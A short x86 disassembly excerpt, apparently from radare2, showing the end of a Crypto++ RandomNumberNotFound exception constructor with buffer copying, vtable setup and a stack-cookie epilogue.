mov dword [esi + 0x24], 0x3f
movups xmm0, xmmword [edi]
push 0x40
push edi
movups xmmword [eax], xmm0
movups xmm0, xmmword [edi + 0x10]
movups xmmword [eax + 0x10], xmm0
movups xmm0, xmmword [edi + 0x20]
movups xmmword [eax + 0x20], xmm0
mov cx, word [edi + 0x30]
mov word [eax + 0x30], cx
mov cl, byte [edi + 0x32]
mov byte [eax + 0x32], cl
call fcn.0047153d
mov eax, esi
add esp, 8
mov dword [eax], vtable.CryptoPP::Integer::RandomNumberNotFound.0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004717aa
mov esp, ebp
pop ebp
ret